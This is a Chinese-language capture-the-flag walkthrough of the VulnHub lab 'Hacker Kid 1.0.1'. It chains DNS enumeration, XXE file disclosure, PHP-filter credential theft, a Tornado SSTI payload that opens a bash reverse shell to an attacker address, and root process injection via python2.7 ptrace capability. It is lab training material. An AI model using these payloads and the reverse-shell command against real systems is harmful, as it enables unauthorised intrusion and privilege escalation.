
靶机地址:
https://www.vulnhub.com/entry/hacker-kid-101,719/
安装靶机:
发现目标:
arp-scan -l
192.168.52.134
扫一下端口:
看一下80端口
这里有个提示:DIG,结合53端口DNS服务,后面可以尝试DNS枚举
看一下页面源代码:
用page_no 作为GET参数浏览页面,先试一下1:
被调侃了,要更深入一些,那就掏出burp:
得到 21:
得到一个子域名:hackers.blackhat.local
添加到 /etc/hosts
挖到新子域名:
继续添加进/etc/hosts
然后访问这个子域名:
继续带burp看看:
XML格式,可以试试XXE注入漏洞:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
3被带出来了,email是注入点
放到repeater里X进去
成功带出/etc/passwd
找到saket用户,/bin/bash
尝试查看配置信息.bashrc无果,将参数用base64编码后,再用php协议请求:
解码:
复制到攻击机,并查看,在文档最后找到一个用户名和密码:
在9999端口的界面试一下:
admin登不上
换成saket以后成功登录:
9999端口,运行的是tornado WebSever,搜索了他的使用手册,有GET和POST两种方法传递参数,这里先尝试GET:
把name作为参数传进去,成功了:
尝试SSTI注入: {{7*7}}
注入成功
替换成shell
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.52.129/9001 0>&1"')}}
url编码后再输入地址栏:
此前,攻击机开启监听模式
nc -nvlp 9001
连接反弹shell:
然后升级到交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
接下来提权
检查靶机上所有二进制文件的功能:
/sbin/getcap -r / 2>/dev/null
python2.7 = cap_sys_ptrace+ep
这里可以提权
提权脚本:
https://www.cnblogs.com/zlgxzswjy/p/15185591.html
把inject.py复制到攻击机,然后开启http服务,在靶机通过wget下载inject.py
因为需要找root进程进行注入,所以简单写个脚本对root进程进行批量尝试:
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
然后 查看5600是否开启:
进程注入成功
攻击机nc连这个端口:
root到手
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)